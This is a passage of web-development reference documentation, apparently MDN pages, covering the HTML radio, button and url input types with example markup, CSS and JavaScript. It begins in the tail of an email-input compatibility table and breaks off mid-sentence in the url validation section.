12 | Yes | 10 | 11 | Yes | No | No | 4 | Yes | 3 ["Doesn't do validation, but instead offers a custom 'email' keyboard, which is designed to make entering email addresses easier.", "The custom 'email' keyboard does not provide a comma key, so users cannot enter multiple email addresses.", "Automatically applies a default style of `opacity: 0.4` to disable textual `<input>` elements, including those of type 'email'. Other major browsers don't currently share this particular default style."] | No | See also -------- * [HTML forms guide](https://developer.mozilla.org/en-US/docs/Learn/Forms) * [`<input>`](../input) * [`<input type="tel">`](tel) * [`<input type="url">`](url) * Attributes: + [`list`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/list) + [`minlength`](../../attributes/minlength) + [`maxlength`](../../attributes/maxlength) + [`multiple`](../../attributes/multiple) + [`pattern`](../../attributes/pattern) + [`placeholder`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/placeholder) + [`readonly`](../../attributes/readonly) + [`size`](../../attributes/size) * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls)
programming_docs
html <input type="radio"> <input type="radio"> ==================== [`<input>`](../input) elements of type `radio` are generally used in **radio groups**—collections of radio buttons describing a set of related options. Only one radio button in a given group can be selected at the same time. Radio buttons are typically rendered as small circles, which are filled or highlighted when selected. Try it ------ They are called radio buttons because they look and operate in a similar manner to the push buttons on old-fashioned radios, such as the one shown below. **Note:** [Checkboxes](checkbox) are similar to radio buttons, but with an important distinction: radio buttons are designed for selecting one value out of a set, whereas checkboxes let you turn individual values on and off. Where multiple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow multiple values to be selected. Value ----- The `value` attribute is a string containing the radio button's value. The value is never shown to the user by their [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent). Instead, it's used to identify which radio button in a group is selected. ### Defining a radio group A radio group is defined by giving each of radio buttons in the group the same [`name`](../input#attr-name). Once a radio group is established, selecting any radio button in that group automatically deselects any currently-selected radio button in the same group. You can have as many radio groups on a page as you like, as long as each has its own unique `name`. For example, if your form needs to ask the user for their preferred contact method, you might create three radio buttons, each with the `name` property set to `contact` but one with the value `email`, one with the value `phone`, and one with the value `mail`. The user never sees the `value` or the `name` (unless you expressly add code to display it). The resulting HTML looks like this: ``` <form> <fieldset> <legend>Please select your preferred contact method:</legend> <div> <input type="radio" id="contactChoice1" name="contact" value="email" /> <label for="contactChoice1">Email</label> <input type="radio" id="contactChoice2" name="contact" value="phone" /> <label for="contactChoice2">Phone</label> <input type="radio" id="contactChoice3" name="contact" value="mail" /> <label for="contactChoice3">Mail</label> </div> <div> <button type="submit">Submit</button> </div> </fieldset> </form> ``` Here you see the three radio buttons, each with the `name` set to `contact` and each with a unique `value` that uniquely identifies that individual radio button within the group. They each also have a unique [`id`](https://developer.mozilla.org/en-US/docs/Web/API/Element/id), which is used by the [`<label>`](../label) element's [`for`](../label#attr-for) attribute to associate the labels with the radio buttons. You can try out this example here: ### Data representation of a radio group When the above form is submitted with a radio button selected, the form's data includes an entry in the form `contact=value`. For example, if the user clicks on the "Phone" radio button then submits the form, the form's data will include the line `contact=phone`. If you omit the `value` attribute in the HTML, the submitted form data assigns the value `on` to the group. In this scenario, if the user clicked on the "Phone" option and submitted the form, the resulting form data would be `contact=on`, which isn't helpful. So don't forget to set your `value` attributes! **Note:** If no radio button is selected when the form is submitted, the radio group is not included in the submitted form data at all, since there is no value to report. It's fairly uncommon to actually want to allow the form to be submitted without any of the radio buttons in a group selected, so it is usually wise to have one default to the `checked` state. See [Selecting a radio button by default](#selecting_a_radio_button_by_default) below. Let's add a bit of code to our example so we can examine the data generated by this form. The HTML is revised to add a [`<pre>`](../pre) block to output the form data into: ``` <form> <fieldset> <legend>Please select your preferred contact method:</legend> <div> <input type="radio" id="contactChoice1" name="contact" value="email" /> <label for="contactChoice1">Email</label> <input type="radio" id="contactChoice2" name="contact" value="phone" /> <label for="contactChoice2">Phone</label> <input type="radio" id="contactChoice3" name="contact" value="mail" /> <label for="contactChoice3">Mail</label> </div> <div> <button type="submit">Submit</button> </div> </fieldset> </form> <pre id="log"></pre> ``` Then we add some [JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript) to set up an event listener on the [`submit`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/submit_event) event, which is sent when the user clicks the "Submit" button: ``` const form = document.querySelector("form"); const log = document.querySelector("#log"); form.addEventListener( "submit", (event) => { const data = new FormData(form); let output = ""; for (const entry of data) { output = `${output}${entry[0]}=${entry[1]}\r`; } log.innerText = output; event.preventDefault(); }, false ); ``` Try this example out and see how there's never more than one result for the `contact` group. Additional attributes --------------------- In addition to the common attributes shared by all [`<input>`](../input) elements, `radio` inputs support the following attributes. [**`checked`**](#attr-checked) A Boolean attribute which, if present, indicates that this radio button is the default selected one in the group. Unlike other browsers, Firefox by default [persists the dynamic checked state](https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing) of an `<input>` across page loads. Use the [`autocomplete`](../input#attr-autocomplete) attribute to control this feature. [**`value`**](#attr-value) The `value` attribute is one which all [`<input>`](../input)s share; however, it serves a special purpose for inputs of type `radio`: when a form is submitted, only radio buttons which are currently checked are submitted to the server, and the reported value is the value of the `value` attribute. If the `value` is not otherwise specified, it is the string `on` by default. This is demonstrated in the section [Value](#value) above. [**`required`**](#attr-required) The `required` attribute is one which most [`<input>`](../input)s share. If any radio button in a same-named group of radio buttons has the `required` attribute, a radio button in that group must be checked, although it doesn't have to be the one with the attribute applied. Using radio inputs ------------------ We already covered the fundamentals of radio buttons above. Let's now look at the other common radio-button-related features and techniques you may need to know about. ### Selecting a radio button by default To make a radio button selected by default, you include `checked` attribute, as shown in this revised version of the previous example: ``` <form> <fieldset> <legend>Please select your preferred contact method:</legend> <div> <input type="radio" id="contactChoice1" name="contact" value="email" checked /> <label for="contactChoice1">Email</label> <input type="radio" id="contactChoice2" name="contact" value="phone" /> <label for="contactChoice2">Phone</label> <input type="radio" id="contactChoice3" name="contact" value="mail" /> <label for="contactChoice3">Mail</label> </div> <div> <button type="submit">Submit</button> </div> </fieldset> </form> ``` In this case, the first radio button is now selected by default. **Note:** If you put the `checked` attribute on more than one radio button, later instances will override earlier ones; that is, the last `checked` radio button will be the one that is selected. This is because only one radio button in a group can ever be selected at once, and the user agent automatically deselects others each time a new one is marked as checked. ### Providing a bigger hit area for your radio buttons In the above examples, you may have noticed that you can select a radio button by clicking on its associated [`<label>`](../label) element, as well as on the radio button itself. This is a really useful feature of HTML form labels that makes it easier for users to click the option they want, especially on small-screen devices like smartphones. Beyond accessibility, this is another good reason to properly set up `<label>` elements on your forms. Validation ---------- Radio buttons don't participate in constraint validation; they have no real value to be constrained. Styling radio inputs -------------------- The following example shows a slightly more thorough version of the example we've seen throughout the article, with some additional styling, and with better semantics established through use of specialized elements. The HTML looks like this: ``` <form> <fieldset> <legend>Please select your preferred contact method:</legend> <div> <input type="radio" id="contactChoice1" name="contact" value="email" checked /> <label for="contactChoice1">Email</label> <input type="radio" id="contactChoice2" name="contact" value="phone" /> <label for="contactChoice2">Phone</label> <input type="radio" id="contactChoice3" name="contact" value="mail" /> <label for="contactChoice3">Mail</label> </div> <div> <button type="submit">Submit</button> </div> </fieldset> </form> ``` The CSS involved in this example is a bit more significant: ``` html { font-family: sans-serif; } div:first-of-type { display: flex; align-items: flex-start; margin-bottom: 5px; } label { margin-right: 15px; line-height: 32px; } input { appearance: none; border-radius: 50%; width: 16px; height: 16px; border: 2px solid #999; transition: 0.2s all linear; margin-right: 5px; position: relative; top: 4px; } input:checked { border: 6px solid black; } button, legend { color: white; background-color: black; padding: 5px 10px; border-radius: 0; border: 0; font-size: 14px; } button:hover, button:focus { color: #999; } button:active { background-color: white; color: black; outline: 1px solid black; } ``` Most notable here is the use of the [`appearance`](https://developer.mozilla.org/en-US/docs/Web/CSS/appearance) property (with prefixes needed to support some browsers). By default, radio buttons (and [checkboxes](checkbox)) are styled with the operating system's native styles for those controls. By specifying `appearance: none`, you can remove the native styling altogether, and create your own styles for them. Here we've used a [`border`](https://developer.mozilla.org/en-US/docs/Web/CSS/border) along with [`border-radius`](https://developer.mozilla.org/en-US/docs/Web/CSS/border-radius) and a [`transition`](https://developer.mozilla.org/en-US/docs/Web/CSS/transition) to create a nice animating radio selection. Notice also how the [`:checked`](https://developer.mozilla.org/en-US/docs/Web/CSS/:checked) pseudo-class is used to specify the styles for the radio button's appearance when selected. **Note:** If you wish to use the [`appearance`](https://developer.mozilla.org/en-US/docs/Web/CSS/appearance) property, you should test it very carefully. Although it is supported in most modern browsers, its implementation varies widely. In older browsers, even the keyword `none` does not have the same effect across different browsers, and some do not support it at all. The differences are smaller in the newest browsers. Notice that when clicking on a radio button, there's a nice, smooth fade out/in effect as the two buttons change state. In addition, the style and coloring of the legend and submit button are customized to have strong contrast. This might not be a look you'd want in a real web application, but it definitely shows off the possibilities. Technical summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing the value of the radio button. | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported common attributes** | `[checked](#attr-checked)`, `[value](#attr-value)` and `[required](../../attributes/required)` | | **IDL attributes** | `checked` and `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select) | Specifications -------------- | Specification | | --- | | [HTML Standard # radio-button-state-(type=radio)](https://html.spec.whatwg.org/multipage/input.html#radio-button-state-(type=radio)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `radio` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | 4 | Yes | Yes | Yes | See also -------- * [`<input>`](../input) and the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) interface that implements it. * [`RadioNodeList`](https://developer.mozilla.org/en-US/docs/Web/API/RadioNodeList): the interface that describes a list of radio buttons * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls) html <input type="button"> <input type="button"> ===================== [`<input>`](../input) elements of type `button` are rendered as simple push buttons, which can be programmed to control custom functionality anywhere on a webpage as required when assigned an event handler function (typically for the [`click`](https://developer.mozilla.org/en-US/docs/Web/API/Element/click_event) event). Try it ------ **Note:** While `<input>` elements of type `button` are still perfectly valid HTML, the newer [`<button>`](../button) element is now the favored way to create buttons. Given that a [`<button>`](../button)'s label text is inserted between the opening and closing tags, you can include HTML in the label, even images. Value ----- ### Button with a value An `<input type="button">` elements' [`value`](../input#value) attribute contains a string that is used as the button's label. ``` <input type="button" value="Click Me" /> ``` ### Button without a value If you don't specify a `value`, you get an empty button: ``` <input type="button" /> ``` Using buttons ------------- `<input type="button">` elements have no default behavior (their cousins, `<input type="submit">` and [`<input type="reset">`](reset) are used to submit and reset forms, respectively). To make buttons do anything, you have to write JavaScript code to do the work. ### A simple button We'll begin by creating a simple button with a [`click`](https://developer.mozilla.org/en-US/docs/Web/API/Element/click_event) event handler that starts our machine (well, it toggles the `value` of the button and the text content of the following paragraph): ``` <form> <input type="button" value="Start machine" /> </form> <p>The machine is stopped.</p> ``` ``` const button = document.querySelector('input'); const paragraph = document.querySelector('p'); button.addEventListener('click', updateButton); function updateButton() { if (button.value === 'Start machine') { button.value = 'Stop machine'; paragraph.textContent = 'The machine has started!'; } else { button.value = 'Start machine'; paragraph.textContent = 'The machine is stopped.'; } } ``` The script gets a reference to the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) object representing the `<input>` in the DOM, saving this reference in the variable `button`. [`addEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener) is then used to establish a function that will be run when [`click`](https://developer.mozilla.org/en-US/docs/Web/API/Element/click_event) events occur on the button. ### Adding keyboard shortcuts to buttons Keyboard shortcuts, also known as access keys and keyboard equivalents, let the user trigger a button using a key or combination of keys on the keyboard. To add a keyboard shortcut to a button — just as you would with any [`<input>`](../input) for which it makes sense — you use the [`accesskey`](../../global_attributes/accesskey) global attribute. In this example, `s` is specified as the access key (you'll need to press `s` plus the particular modifier keys for your browser/OS combination; see [accesskey](../../global_attributes/accesskey) for a useful list of those). ``` <form> <input type="button" value="Start machine" accesskey="s" /> </form> <p>The machine is stopped.</p> ``` **Note:** The problem with the above example of course is that the user will not know what the access key is! In a real site, you'd have to provide this information in a way that doesn't interfere with the site design (for example by providing an easily accessible link that points to information on what the site accesskeys are). ### Disabling and enabling a button To disable a button, specify the [`disabled`](../../attributes/disabled) global attribute on it, like so: ``` <input type="button" value="Disable me" disabled /> ``` #### Setting the disabled attribute You can enable and disable buttons at run time by setting `disabled` to `true` or `false`. In this example our button starts off enabled, but if you press it, it is disabled using `button.disabled = true`. A [`setTimeout()`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout) function is then used to reset the button back to its enabled state after two seconds. ``` <input type="button" value="Enabled" /> ``` ``` const button = document.querySelector('input'); button.addEventListener('click', disableButton); function disableButton() { button.disabled = true; button.value = 'Disabled'; setTimeout(() => { button.disabled = false; button.value = 'Enabled'; }, 2000); } ``` #### Inheriting the disabled state If the `disabled` attribute isn't specified, the button inherits its `disabled` state from its parent element. This makes it possible to enable and disable groups of elements all at once by enclosing them in a container such as a [`<fieldset>`](../fieldset) element, and then setting `disabled` on the container. The example below shows this in action. This is very similar to the previous example, except that the `disabled` attribute is set on the `<fieldset>` when the first button is pressed — this causes all three buttons to be disabled until the two second timeout has passed. ``` <fieldset> <legend>Button group</legend> <input type="button" value="Button 1" /> <input type="button" value="Button 2" /> <input type="button" value="Button 3" /> </fieldset> ``` ``` const button = document.querySelector('input'); const fieldset = document.querySelector('fieldset'); button.addEventListener('click', disableButton); function disableButton() { fieldset.disabled = true; setTimeout(() => { fieldset.disabled = false; }, 2000); } ``` **Note:** Firefox will, unlike other browsers, by default, [persist the dynamic disabled state](https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing) of a [`<button>`](../button) across page loads. Use the [`autocomplete`](../button#attr-autocomplete) attribute to control this feature. Validation ---------- Buttons don't participate in constraint validation; they have no real value to be constrained. Examples -------- The below example shows a very simple drawing app created using a [`<canvas>`](../canvas) element and some simple CSS and JavaScript (we'll hide the CSS for brevity). The top two controls allow you to choose the color and size of the drawing pen. The button, when clicked, invokes a function that clears the canvas. ``` <div class="toolbar"> <input type="color" aria-label="select pen color" /> <input type="range" min="2" max="50" value="30" aria-label="select pen size" /><span class="output">30</span> <input type="button" value="Clear canvas" /> </div> <canvas class="myCanvas"> <p>Add suitable fallback here.</p> </canvas> ``` ``` const canvas = document.querySelector('.myCanvas'); const width = canvas.width = window.innerWidth; const height = canvas.height = window.innerHeight - 85; const ctx = canvas.getContext('2d'); ctx.fillStyle = 'rgb(0,0,0)'; ctx.fillRect(0,0,width,height); const colorPicker = document.querySelector('input[type="color"]'); const sizePicker = document.querySelector('input[type="range"]'); const output = document.querySelector('.output'); const clearBtn = document.querySelector('input[type="button"]'); // covert degrees to radians function degToRad(degrees) { return degrees \* Math.PI / 180; }; // update sizepicker output value sizePicker.oninput = () => { output.textContent = sizePicker.value; } // store mouse pointer coordinates, and whether the button is pressed let curX; let curY; let pressed = false; // update mouse pointer coordinates document.onmousemove = (e) => { curX = e.pageX; curY = e.pageY; } canvas.onmousedown = () => { pressed = true; }; canvas.onmouseup = () => { pressed = false; } clearBtn.onclick = () => { ctx.fillStyle = 'rgb(0,0,0)'; ctx.fillRect(0,0,width,height); } function draw() { if (pressed) { ctx.fillStyle = colorPicker.value; ctx.beginPath(); ctx.arc(curX, curY - 85, sizePicker.value, degToRad(0), degToRad(360), false); ctx.fill(); } requestAnimationFrame(draw); } draw(); ``` Technical Summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string used as the button's label | | **Events** | [`click`](https://developer.mozilla.org/en-US/docs/Web/API/Element/click_event) | | **Supported common attributes** | [`type`](../input#type) and [`value`](../input#value) | | **IDL attributes** | `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | None | Specifications -------------- | Specification | | --- | | [HTML Standard # button-state-(type=button)](https://html.spec.whatwg.org/multipage/input.html#button-state-(type=button)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `button` | 1 | 12 | 1 | Yes | Yes | 1 | Yes | 18 | 4 | Yes | Yes | 1.0 | See also -------- * [`<input>`](../input) and the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) interface which implements it. * The more modern [`<button>`](../button) element. * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls)
programming_docs
html <input type="url"> <input type="url"> ================== [`<input>`](../input) elements of type `url` are used to let the user enter and edit a URL. Try it ------ The input value is automatically validated to ensure that it's either empty or a properly-formatted URL before the form can be submitted. The [`:valid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:valid) and [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) CSS pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid URL or not. On browsers that don't support inputs of type `url`, a `url` input falls back to being a standard <text> input. Value ----- The [`<input>`](../input) element's [`value`](../input#attr-value) attribute contains a string which is automatically validated as conforming to URL syntax. More specifically, there are two possible value formats that will pass validation: 1. An empty string ("") indicating that the user did not enter a value or that the value was removed. 2. A single properly-formed absolute URL. This doesn't necessarily mean the URL address exists, but it is at least formatted correctly. In simple terms, this means `urlscheme://restofurl`. See [Validation](#validation) for details on how URLs are validated to ensure that they're formatted properly. Additional attributes --------------------- In addition to the attributes that operate on all [`<input>`](../input) elements regardless of their type, `url` inputs support the following attributes. ### list The values of the list attribute is the [`id`](https://developer.mozilla.org/en-US/docs/Web/API/Element/id) of a [`<datalist>`](../datalist) element located in the same document. The [`<datalist>`](../datalist) provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the [`type`](../input#attr-type) are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value. ### maxlength The maximum number of characters (as UTF-16 code units) the user can enter into the `url` input. This must be an integer value 0 or higher. If no `maxlength` is specified, or an invalid value is specified, the `url` input has no maximum length. This value must also be greater than or equal to the value of `minlength`. The input will fail [constraint validation](../../constraint_validation) if the length of the text value of the field is greater than `maxlength` UTF-16 code units long. Constraint validation is only applied when the value is changed by the user. ### minlength The minimum number of characters (as UTF-16 code units) the user can enter into the `url` input. This must be a non-negative integer value smaller than or equal to the value specified by `maxlength`. If no `minlength` is specified, or an invalid value is specified, the `url` input has no minimum length. The input will fail [constraint validation](../../constraint_validation) if the length of the text entered into the field is fewer than `minlength` UTF-16 code units long. Constraint validation is only applied when the value is changed by the user. ### pattern The `pattern` attribute, when specified, is a regular expression that the input's [`value`](../../global_attributes#value) must match in order for the value to pass [constraint validation](../../constraint_validation). It must be a valid JavaScript regular expression, as used by the [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) type, and as documented in our [guide on regular expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions); the `'u'` flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. **Note:** Use the [`title`](../input#attr-title) attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby. See the section [Pattern validation](#pattern_validation) for details and an example. ### placeholder The `placeholder` attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text *must not* include carriage returns or line feeds. If the control's content has one directionality ([LTR](https://developer.mozilla.org/en-US/docs/Glossary/LTR) or [RTL](https://developer.mozilla.org/en-US/docs/Glossary/RTL)) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see [How to use Unicode controls for bidi text](https://www.w3.org/International/questions/qa-bidi-unicode-controls) for more information. **Note:** Avoid using the `placeholder` attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See [Labels and placeholders](../input#labels_and_placeholders) in [<input>: The Input (Form Input) element](../input) for more information. ### readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its `value` can, however, still be changed by JavaScript code directly setting the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) `value` property. **Note:** Because a read-only field cannot have a value, `required` does not have any effect on inputs with the `readonly` attribute also specified. ### size The `size` attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since character widths vary, this may or may not be exact and should not be relied upon to be so; the resulting input may be narrower or wider than the specified number of characters, depending on the characters and the font ([`font`](https://developer.mozilla.org/en-US/docs/Web/CSS/font) settings in use). This does *not* set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the [`maxlength`](#maxlength) attribute. ### spellcheck `spellcheck` is a global attribute which is used to indicate whether to enable spell checking for an element. It can be used on any editable content, but here we consider specifics related to the use of `spellcheck` on [`<input>`](../input) elements. The permitted values for `spellcheck` are: `false` Disable spell checking for this element. `true` Enable spell checking for this element. "" (empty string) or no value Follow the element's default behavior for spell checking. This may be based upon a parent's `spellcheck` setting or other factors. An input field can have spell checking enabled if it doesn't have the [readonly](#readonly) attribute set and is not disabled. The value returned by reading `spellcheck` may not reflect the actual state of spell checking within a control, if the [user agent's](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) preferences override the setting. Non-standard attributes ----------------------- The following non-standard attributes are also available on some browsers. As a general rule, you should avoid using them unless it can't be helped. ### autocorrect A Safari extension, the `autocorrect` attribute is a string which indicates whether to activate automatic correction while the user is editing this field. Permitted values are: `on` Enable automatic correction of typos, as well as processing of text substitutions if any are configured. `off` Disable automatic correction and text substitutions. ### mozactionhint A Mozilla extension, which provides a hint as to what sort of action will be taken if the user presses the `Enter` or `Return` key while editing the field. This attribute has been deprecated: use the [`enterkeyhint`](../../global_attributes#enterkeyhint) global attribute instead. Using URL inputs ---------------- When you create a URL input with the proper `type` value, `url`, you get automatic validation that the entered text is at least in the correct form to potentially be a legitimate URL. This can help avoid cases in which the user mistypes their website's address, or provides an invalid one. It's important, however, to note that this is not enough to ensure that the specified text is a URL which actually exists, corresponds to the user of the site, or is acceptable in any other way. It ensures that the value of the field is properly formatted to be a URL. **Note:** A user can tinker with your HTML behind the scenes, so your site *must not* use this validation for any security purposes. You *must* verify the URL on the server-side of any transaction in which the provided text may have any security implications of any kind. ### A simple URL input Currently, all browsers which implement this element implement it as a standard text input field with basic validation features. In its most basic form, a URL input can be implemented like this: ``` <input id="myURL" name="myURL" type="url" /> ``` Notice that it's considered valid when empty and when a single validly-formatted URL address is entered, but is otherwise not considered valid. By adding the [`required`](../input#attr-required) attribute, only properly-formed URLs are allowed; the input is no longer considered valid when empty. There is nothing magical going on here. Submitting this form would cause the following data to be sent to the server: `myURL=http%3A%2F%2Fwww.example.com`. Note how characters are escaped as necessary. ### Placeholders Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each [`<input>`](../input). This is where **placeholders** come in. A placeholder is a value that demonstrates the form the `value` should take by presenting an example of a valid value, which is displayed inside the edit box when the element's `value` is "". Once data is entered into the box, the placeholder disappears; if the box is emptied, the placeholder reappears. Here, we have a `url` input with the placeholder `http://www.example.com`. Note how the placeholder disappears and reappears as you manipulate the contents of the edit field. ``` <input id="myURL" name="myURL" type="url" placeholder="http://www.example.com" /> ``` ### Controlling the input size You can control not only the physical length of the input box, but also the minimum and maximum lengths allowed for the input text itself. #### Physical input element size The physical size of the input box can be controlled using the [`size`](../input#attr-size) attribute. With it, you can specify the number of characters the input box can display at a time. In this example, for instance, the `url` edit box is 30 characters wide: ``` <input id="myURL" name="myURL" type="url" size="30" /> ``` #### Element value length The `size` is separate from the length limitation on the entered URL itself. You can specify a minimum length, in characters, for the entered URL using the [`minlength`](../input#attr-minlength) attribute; similarly, use [`maxlength`](../input#attr-maxlength) to set the maximum length of the entered URL. If `maxLength` exceeds `size`, the input box's contents will scroll as needed to show the current selection or insertion point as the content is manipulated. The example below creates a 30-character wide URL address entry box, requiring that the contents be no shorter than 10 characters and no longer than 80 characters. ``` <input id="myURL" name="myURL" type="url" size="30" minlength="10" maxlength="80" /> ``` **Note:** These attributes also affect validation; a value shorter or longer than the specified minimum/maximum lengths will be classified as invalid; in addition most browsers will refuse to let the user enter a value longer than the specified maximum length. ### Providing default options #### Providing a single default using the value attribute As always, you can provide a default value for a `url` input box by setting its [`value`](../input#attr-value) attribute: ``` <input id="myURL" name="myURL" type="url" value="http://www.example.com" /> ``` #### Offering suggested values Taking it a step further, you can provide a list of default options from which the user can select by specifying the [`list`](../input#attr-list) attribute. This doesn't limit the user to those options, but does allow them to select commonly-used URLs more quickly. This also offers hints to [`autocomplete`](../input#attr-autocomplete). The `list` attribute specifies the ID of a [`<datalist>`](../datalist), which in turn contains one [`<option>`](../option) element per suggested value; each `option`'s `value` is the corresponding suggested value for the URL entry box. ``` <input id="myURL" name="myURL" type="url" list="defaultURLs" /> <datalist id="defaultURLs"> <option value="https://developer.mozilla.org/"></option> <option value="http://www.google.com/"></option> <option value="http://www.microsoft.com/"></option> <option value="https://www.mozilla.org/"></option> <option value="http://w3.org/"></option> </datalist> ``` With the [`<datalist>`](../datalist) element and its [`<option>`](../option)s in place, the browser will offer the specified values as potential values for the URL; this is typically presented as a popup or drop-down menu containing the suggestions. While the specific user experience may vary from one browser to another, typically clicking in the edit box presents a drop-down of the suggested URLs. Then, as the user types, the list is adjusted to show only matching values. Each typed character narrows down the list until the user makes a selection or types a custom value. #### Using labels for suggested values You can opt to include the [`label`](../option#attr-label) attribute on one or all of your `<option>` elements to provide textual labels. Some browsers may display only the labels, while others may display both the label and the URL. ``` <input id="myURL" name="myURL" type="url" list="defaultURLs" /> <datalist id="defaultURLs"> <option value="https://developer.mozilla.org/" label="MDN Web Docs"></option> <option value="http://www.google.com/" label="Google"></option> <option value="http://www.microsoft.com/" label="Microsoft"></option> <option value="https://www.mozilla.org/" label="Mozilla"></option> <option value="http://w3.org/" label="W3C"></option> </datalist> ``` Validation ---------- There are two levels of content validation available for `url` inputs. First, there's the standard level of validation offered to all [`<input>`](../input)s, which automatically ensures that the contents meet the requirements to be a valid URL. But there's also the option to add additional filtering to ensure that your own specialized needs are met, if you have any. **Warning:** HTML form validation is *not* a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database. ### Basic validation Browsers that support the `url` input type automatically provide validation to ensure that only text that matches the standard format for URLs is entered into the input box. The syntax of a URL is fairly intricate. It's defined by WHATWG's [URL Living Standard](https://url.spec.whatwg.org/) and is described for newcomers in our article [What is a URL?](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_URL) ### Making a URL required As mentioned earlier, to make a URL entry required before the form can be submitted (you can't leave the field blank), you just need to include the [`required`](../input#attr-required) attribute on the input. ``` <form> <input id="myURL" name="myURL" type="url" required /> <button>Submit</button> </form> ``` Try submitting the above form with no value entered to see what happens. ### Pattern validation If you need the entered URL to be restricted further than just "any string that looks like a URL," you can use the [`pattern`](../input#attr-pattern) attribute to specify a [regular expression](https://developer.mozilla.org/en-US/docs/Glossary/Regular_expression) the value must match for the value to be valid. For example, let's say you're building a support page for employees of Myco, Inc. which will let them contact their IT department for help if one of their pages has a problem. In our simplified form, the user needs to enter the URL of the page that has a problem, and a message describing what is wrong. But we want the URL to only successfully validate if the entered URL is in a Myco domain. Since inputs of type `url` validate against both the standard URL validation *and* the specified [`pattern`](../input#attr-pattern), you can implement this easily. Let's see how: ``` <form> <div> <label for="myURL">Enter the problem website address:</label> <input id="myURL" name="myURL" type="url" required pattern=".\*\.myco\..\*" title="The URL must be in a Myco domain" /> <span class="validity"></span> </div> <div> <label for="myComment">What is the problem?</label> <input id="myComment" name="myComment" type="text" required /> <span class="validity"></span> </div> <div> <button>Submit</button> </div> </form> ``` First of all, the [`required`](../input#attr-required) attribute is specified, making it mandatory that a valid URL be provided. Second, in the `url` input we set `pattern` to `".*\.myco\..*"`. This simple regular expression requests a string that has any number of characters, followed by a dot, followed by "myco", followed by a dot, followed by any number of characters. And because the browser runs both the standard URL filter *and* our custom pattern against the specified text, we wind up with a validation which says "make sure this is a valid URL, and also in a Myco domain." This isn't perfect, but it is good enough for this simple demo's requirements. It's advisable to use the [`title`](../../global_attributes#title) attribute along with `pattern`. If you do, the `title` *must* describe the pattern; it should explain what format the data should take on, rather than any other information. That's because the `title` may be displayed or spoken as part of a validation error message. For example, the browser might present the message "The entered text doesn't match the required pattern." followed by your specified `title`. If your `title` is something like "URL", the result would be the message "The entered text doesn't match the required pattern. URL", which is not a good user experience. That's why, instead, we specify the string "The URL must be in a myco domain". By doing that, the resulting full error message might be 